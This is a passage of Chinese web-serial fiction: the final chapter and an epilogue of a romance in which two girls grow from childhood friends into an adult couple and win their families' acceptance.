事情不大,只记得路口分别,温晚踹了她一脚,她也忍不住骂了句脏话。 早上六点多,天还没亮透,李蔚兰用开水给她温了盒牛奶,让赶紧喝,她顺手装进书包里。 “一会儿凉了。”李蔚兰把牛奶从书包里拿出来,顺手翻了下她作业,发现里面多个银色封皮的小本子,直接抽出来看,“你什么时候开始写日记了。” “妈!”谢舒毓一把抢过,藏进书包最深处,“你干嘛乱翻我东西。” “你这孩子。”李蔚兰不轻不重打她一下,“我是你妈,你有什么是我不能看的。” 书包拉链一下拉到底,谢舒毓两只手抱着,“这是我隐私。” 李蔚兰又说了她几句,她躲在房间不作声,后来她爸出来,站房门口,“你妈妈一大早就起来给你热牛奶,你也太不懂事了。” 谢舒毓抬头看了眼窗外,天不亮她就开始挨骂。 “好了好了。”李蔚兰把她爸拎一边去,房间大灯关了,换书桌边的小台灯,“既然吵架了,不用去喊她,你把那个英语课本拿出来,读十分钟,我给你看着时间。” 谢舒毓提起书包,转身就走。 出门的时候李蔚兰大声喊了句什么,她没听清,门“砰”一声巨响盖住了。 两只手握紧书包带快速下楼,声控灯一路亮起来,跑出楼栋,她大喝一口冷气,像陆上缺氧的鱼终于回到水里。 晚秋的早晨是钢笔墨水那种深蓝色,空气冰凉畅爽,谢舒毓两只手揣进校服兜,跑起来。 照例是温晚她爸开门,黑漆漆的客厅里一个模糊高大的影子。 “小筷子来了。” 温晚家门质量特别好的感觉,轻轻一拉锁舌就滑进去,声音很小很小。 温晚已经醒了,房间一盏小台灯亮着,谢舒毓打开门进去,她正坐在床上穿袜子。 “小晚。”谢舒毓把牛奶递过去,“你喝。” 温晚白了她一眼。 谢舒毓把吸管插好喂过去,“你喝,我妈给我热好的。” “我还没刷牙!”温晚叫一声。 “哦。”谢舒毓把牛奶放她书桌上,站旁边。 温晚房间有股很特别的香气,是那种老木头柜子混合洗衣粉,还有她颈窝里暖融融发丝的味道。 她没一直生气,穿好袜子,开始穿秋裤,兴致勃勃讲自己的梦。 “……然后我就飞起来了,带着你,我牵着你一起飞,我喜欢那种感觉。” 温晚跪在床上,两手比划,双眼兴奋大睁,圆圆的,亮亮的。 “然后,然后……”她抓抓脑门,有点想不起来。 “然后我们看到一片粉色的沙滩。”谢舒毓接道。 尽管她从未到过海边。 但梦里,她们一起翱翔过无数次。 “你也梦到了!”温晚一把抱住她。 谢舒毓不自觉笑起来,回抱她柔软纤细的身体,闻到她颈窝里的温暖香气。 “对啊对啊。” 很奇妙,她跟温晚经常做同一个梦,在她们吵架之后。 吵架之后必然是冷战,那意味着零食和心事都无法分享,从两个人变成一个人,寂寞的厄兽点点蚕食心灵,于是,对她的思念和渴望,促使她们在梦中相遇。 担心迟到,谢舒毓开始主动帮她穿毛衣,她两只手高高举着,谢舒毓膝盖撑床,给她套进去。 表姑姑打开门进来,“我给你们冲两杯奶粉吧。” “谢舒毓喝牛奶会拉肚子!”温晚扭头说。 表姑姑说知道知道,“你妈买的羊奶粉,可金贵了知道不,羊奶跟牛奶不一样。” 温晚歪一下头,“有啥不一样。” “反正羊奶不会拉肚子。”表姑姑话说完刚转身要走,瞄到桌上牛奶盒,回头,“小筷子,你喝牛奶拉肚子,你妈还天天给你热牛奶。” “李老师不信。”温晚接。 说到这个,谢舒毓也很气,“我妈说,我拉肚子是在外面吃垃圾食品吃的。” 表姑姑不好多说,摆摆手走了。 温晚继续讲她的梦,想不起来的地方,谢舒毓进行补充。 “我那天晚上被你气得睡不着,我还哭了。”温晚撅着屁股爬到床头,“我给你写了一首诗。” 谢舒毓“啊”一声,“你还会写诗。” 温晚从枕头底下翻出个纸团,反手递来。 谢舒毓展开,觉得湿漉漉黏糊糊的,上面也没字,“这是什么啊。” 回头,温晚惊讶极了,“你干嘛啊,那是我的鼻涕纸。” 谢舒毓摔进垃圾桶,“鼻涕纸你拿给我!” “我让你扔掉啊。”温晚困惑。 谢舒毓气死了,“那你不说!” “你弱智吧。”小本本翻到,温晚爬过来递给她。 “鼻涕纸你塞枕头底下,你有毛病。” 谢舒毓还在碎碎念,温晚翻开小本本其中一页。 走在夜晚无人的街道 浑身每一个毛孔 喝饱了冰镇的雪碧 我似乎飞翔 天花板渗水的痕迹 你决绝的背影 梦中或许回头 与我飞翔 温晚在秋裤外面套上蓝白颜色的校服裤子,又忘记提前用袜子把秋裤包起来,一只手从裤腿那伸进去拽。 谢舒毓捧着那个小本本,一遍遍回看温晚写给她的诗,不想表现得太矫情,努力吸气把眼泪憋回去。 她没有问,我写得好不好这类邀功讨赏的话。只是表达思念。 写完,当时的心情已经过去,温晚把小本本收回来,塞回枕头底下,搂着谢舒毓的脖子,亲了下她的脸,“我们别吵架了。” 那是初中一年级,在谢舒毓看不见的地方,温晚开始写诗,以及一些似是而非的酸话,每次写完都会拿给谢舒毓看。 谢舒毓有一些能看懂,有一些看不懂。 担心温晚生气,看不懂她也会装作看懂,严肃皱眉,表现得很认真。 温晚不在乎谢舒毓是不是能看懂,她只是想表达。 谢舒毓觉得她可以当作家、诗热人,建议她投稿。 温晚摇头,“我不想让别人看到。” 到初中二年级,谢舒毓把一部分小诗整理出来,认认真真誊抄在横格纸,寄给杂志社。 牛皮纸信封在路上跑了好久,久到她们怀疑失踪,直到初中三年级才收到退稿信。 谢舒毓大骂杂志社没眼光,温晚坐在石坎边,满不在乎晃晃腿,“我妈说,我以后要继承家业的,写诗没钱途。” “那……”谢舒毓不知道该怎么说。 “而且我只是想写给你看,如果是为了写诗而写诗,我可能就写不出来了。” 她跳下石坎,“我要做琥珀。” 前几天她在纪录片频道里看到琥珀,以及凝固在琥珀里的小昆虫,觉得很漂亮,决定也做一只送给谢舒毓。 她找表姑姑打听,表姑姑说琥珀就是松香,树皮上割道口子,太阳一晒松脂流出来,凝固了就是琥珀。 学校后面体育场有片小树林,温晚五毛钱买把红色削笔刀,挑选了一棵朝阳的松树,把树皮切一道手臂粗的口,下面拿塑料瓶接着,美滋滋等着流松脂。 谢舒毓把英语作业收了抱去老师办公室,跑出来看到她被教导主任拎着耳朵训。 “怎么可以破坏树木!树木也是有生命的,也会痛的。” “那你还吃猪肉呢,猪也是生命啊。”温晚大声嚷嚷,说我要做琥珀! 教导主任认真科普,“琥珀是化石,地底千万年压力和热力的作用下才成形,你用松脂就妄想做成琥珀,未免太天真。” 温晚嘻嘻笑,“你不知道有一种东西叫人工琥珀吗?就是用松脂做的。” 人家正儿八经书上看的。 “老师。”谢舒毓气喘吁吁跑来,举手,“那边有几个男生在打架。” 老师问哪里,谢舒毓拉着温晚赶紧跑了。 很快到期末,学习紧张,温晚还是没有做成琥珀,甚至连初中毕业典礼都没参加。 宋婷被退学以后,还不打算放过她们,听说又另叫了社会上的几个姐,要给她们点颜色看看。 那天温晚带着谢舒毓去县里新开的游乐园,毕业证是她爸代领。 那时候李蔚兰已经怀了老二,把谢舒毓送走是多方面的考虑,一来是政策,二来市里教学条件确实更好,三是宋婷社会上那些乱七八糟的哥啊姐。 温晚家买了新房子,到市里不用住校,可以继续走读,每天中午回家吃饭,要提前熟悉环境,认认路,谢舒毓暑假就得过去。 走的那天她没有一点舍不得,李蔚兰拉着她手在房间说话,流了几滴眼泪,说妈妈没有不要你。 “妈你别哭了。”谢舒毓手抹去她脸颊的泪,“我很期待可以住进小碗家。” 温晚兴冲冲跑进房间,“小筷子,我们在市场买的那个鱼缸也带上好不好,我爸说继续带我们钓鱼。” 谢舒毓松开李蔚兰的手,床上抓了个旧旧的玩偶,“这个可以带吗?我晚上都抱着它睡觉的。” 温晚两手叉腰,“不可以,你晚上只能抱着我睡。” “啊?”谢舒毓回头看了眼她妈,脸一下就红了,“你在说什么呀。” 后知后觉,温晚也有点不好意思,抓了娃娃抱在怀里,“那给你带上吧。” 两人满屋子跑,说要带这个要带那个,嘻嘻哈哈,好不快乐。 昨晚忘了拉窗帘,太阳光照进屋子里,谢舒毓睁开眼,身边是长大了好多好多的温晚。 脸蛋褪去婴儿肥,眉眼完全舒展开,鼻秀挺,唇饱满红润。冷不丁一瞅,咦,哪来的大美女,定睛一看,哦,我老婆。 谢舒毓亲了一下她嘴唇,温晚瞭开半只眼,又闭上,两条滑嫩的手臂从被窝里伸出来,搂住谢舒毓的脖子。 “起床吗?” 昨天没看到满意的茶几,今天继续。谢舒毓晃晃她。 温晚“嗯”一声,还是闭着眼睛,样子懒懒的。 “我跟你说哦,我做梦了,又梦到我跟你。我们在花园城堡玩捉迷藏,我躲进迷宫,但还是一下子就被你找到,然后你教我怎么走出迷宫,你跟我说……” 她睁开眼,苦恼皱眉,“你跟我说,说什么来着。” “摸着一边的墙,一直贴边走。”谢舒毓说。 “你记性那么好!” 温晚捶她一下,“每次你都记得清清楚楚。” “也没有。”谢舒毓一直搓她的脸蛋,软软的,手感好极了。 “只是刚好记得你不记得的内容。” 说到梦,温晚难为情笑了,“其实之前我还做过春梦,跟你,但每次进行到关键时刻,我半梦半醒开始忙活,就会醒过来。” 她生气打了下谢舒毓,“都怪你。” 谢舒毓一点也不意外,她们不是第一次做同一个梦了。 说半天,温晚冲她挤媚眼,“还要我明示吗?” 小酒窝荡漾开,谢舒毓忍笑艰难,“白日宣淫,成何体统。” 温晚勾了下她的小拇指,哼哼唧唧往人身上爬,“想淫就淫,还管什么白天黑夜……” 【全文完结】 第91章 番外:是亲情,也是爱情。 谢舒毓第一次以温晚女朋友的身份,提着大包小包站在温家大门前,是她从外地出差回来的第二天。 那天刚好是周五,头天晚上谢舒毓就跟温晚商量好了,有的是时间跟她们磨。 黑漆花园铁门,大拇指往门锁上一怼,门就能开,两人偏不,疯狂按门铃。 温瑾还在生她们的气,说谁也不准去开门,表姑姑沙发上坐了两分钟,嘟囔说吵死人,起身打算去开门,回头,温瑾也没拦着。 门开,温晚正儿八经向谢舒毓介绍,“我表姑姑。” “表姑姑好。”谢舒毓鞠躬。 “神经病啊。”表姑姑骂。 谢舒毓一脸老实巴交,“最近有在积极康复的。” 表姑姑愣了下,抬手就是一巴掌,“毛病你!” 谢舒毓反手抓背,痛得龇牙咧嘴,扭头向温晚抹了把并不存在的眼泪,“你姑姑不欢迎我,要不我还是走吧。” “上哪儿去!”表姑姑逮了人一把攥手里,推搡进屋,“想跑啊你,没门。” 全家都坐在客厅沙发,看她俩表演,温晚一个一个介绍,“我妈妈,我爸爸,还有外公。” 谢舒毓献上礼物,“给外公买的参茶,给爸爸买的领带,给妈妈买的护肤品。” 表姑姑是家里极为特别的一位存在,老幼通吃,女帝座下宠妃兼宰相身份。 谢舒毓拿个小红盒,打开里面一条金项链。 “哎呦呦!”表姑姑刚才还一脸看神经,金项链一戴,笑得合不拢嘴。 “挺会收买啊。”温瑾送她们一记大白眼。 表姑姑立即倒戈,“那孩子们跟你开玩笑嘛,谁让你表现得那么凶残。” “所以就编故事吓唬我,不是早就跳河殉情了?”温瑾气得直拍桌,满桌杯碗吓得直跳。 那天她好着急,好自责,好怕变成李蔚兰,竹篮打水一场空。 后来是谢舒毓拍了个小视频过来,说开玩笑的。 视频里温晚正坐在路边,吃小摊上本地人卖的炸土豆,两片嘴皮辣得猩红。 乌玫也出镜,害羞捂嘴招手,说“真抱歉”。 午饭,餐桌上温瑾终于弄清楚事情原委,感觉憋屈,她竟然是全家最后一个知道谢舒毓和温晚关系的。 表姑姑抓到她们在房间亲嘴,她爸是温晚主动坦白,外公呢,他说他早就看出来了。 大家好奇问怎么看出来的,他说有眼就行。老头神神秘秘的,也不知道是不是吹牛。 温瑾那意思,她一个人表示反对,全家都会站到温晚那边帮她说话,没成想温晚比她更早开始布局。 “你妈成小丑了。” 放下碗筷,温晚蹦跳去妈妈身边,搂着她脖子木马木马亲了好几口。 温瑾嫌弃死了,“满嘴油!” 温晚好奇采访大家,“就没有一个人真的表示反对吗?” 没有人表示反对,谢舒毓和温晚在一起,就像太阳东升西落是很自然的一件事。 万物自有规律,爱情的发生不可阻挡。 “难不成真把你们赶出家门。” 温瑾私下跟表姑姑说过这事,要反对吗?象征性反对一下吗? 挺累的,也挺没劲的,每个人都有自己的生活,那终究是别人的人生。 她们自己决定就好。 李蔚兰知道这件事,是一个月以后,谢舒毓很长一段时间不跟她联系,她带了些水果探望,楼下看到露台上温晚跟谢舒毓抱在一起接吻。 谢舒毓发现之后拍了拍温晚后背,示意她看楼下。 温晚冲李蔚兰招了招手,跑下楼接她。 “干妈。”温晚摸了摸嘴唇,有点不好意思。 谢舒毓停在露天,拿一把枝剪晃晃悠悠,修理残花败叶,李蔚兰仰脸看一阵,太阳晒得脑袋有点发晕。 她把水果递给温晚,冲她笑笑,什么也没说,转身走了。 温晚提着水果跑回楼上,跳到谢舒毓后背,“什么意思啊,同意我们了吗?” “不重要。”谢舒毓手托住她屁股,往上颠两下,背实了。 温晚嘴唇贴在她下颌位置,不时亲吻,突然说:“我们来吵架吧。” “你又没事找抽是吧。”谢舒毓打了她的屁股。 温晚摇头说不是啊。 “我发现了,你真的很讨厌一个人的时候,是一个字也不会跟她多讲的,就像你对待干妈那样,甚至连面都不见。但我们每次吵架,都吵得慷慨激昂的,说明你心里真的很在乎我。” 谢舒毓想了想,觉得她说得挺有道理,“你想怎么吵。” 歪一下头,温晚说暂时想不到。 秋天的云朵洁白柔软,风吹过,谢舒毓掐了朵小花反手递过去,温晚别在发间。 这场景莫名熟悉,似乎就发生在不久前。 温晚总觉得,好像从上辈子以及上上辈子就跟谢舒毓在一起了。 谢舒毓背着温晚从阳台走到客厅,把她放倒在沙发,“想不想吃冰淇淋。” 温晚点头,“想。” 谢舒毓假装要撩开衣服喂,温晚吓死了,“你干嘛!” “啊哈哈哈——”谢舒毓笑倒。 她们刚搬进来不久,买了冰箱,里头还空空的,时已入秋,酷热依旧,谢舒毓一直想去批发些棒冰回来,但周末她们总腻在新买的大床上。 刚结束不久,温晚锁骨往下还留有淡粉的吻痕,谢舒毓隔着吊带衫亲她一下,“逗你的,我们去买吧,我知道哪里有。” 温晚缠着她不放,“你让我吃一口奶油大福,我就起来。” 谢舒毓捂胸,说不好吃。温晚开始上手扒,“好吃,正宗动物奶油的,肯定好吃。” 尖叫挣扎,谢舒毓脸都红透,温晚把她白T领口完全扯变形,扯成一字领,埋在那啃。 谢舒毓笑着推拒,两人最后打起来,温晚也没讨得好。 戏耍得满脸通红,两人筋疲力尽,你压着我的胳膊,我摞着你的腿,乱七八糟躺在那。 休息半小时,出门买雪糕,谢舒毓说不远,想走过去,拿了把巨大的黑伞,是温晚早些年送的那一把,每一次开伞都感觉自己身处快意恩仇的武侠世界。 温晚捏一把粉红色电动小风扇,脚底人字拖吧嗒吧嗒,手心黏黏还是要坚持牵在一起。 到小区门口,温晚说累了,“还有多远啊。” 谢舒毓晃晃她的手,“一辈子。” 温晚笑死了,“你好酸!” 酸话确实管用,她跳起来,“那只能是我陪你了。” 温晚不想走路,谢舒毓干脆背她过去,胳膊腿看着细细的,还挺有劲儿。 “为什么会突然改主意呢。”温晚趴在谢舒毓后背,没头没脑的一句。 “为了现在可以背你过去买棒冰。”谢舒毓回答。 感觉和你生活在一起,是很幸福的事。 是习惯,是依赖,是亲情,也是爱情。 ——全文完——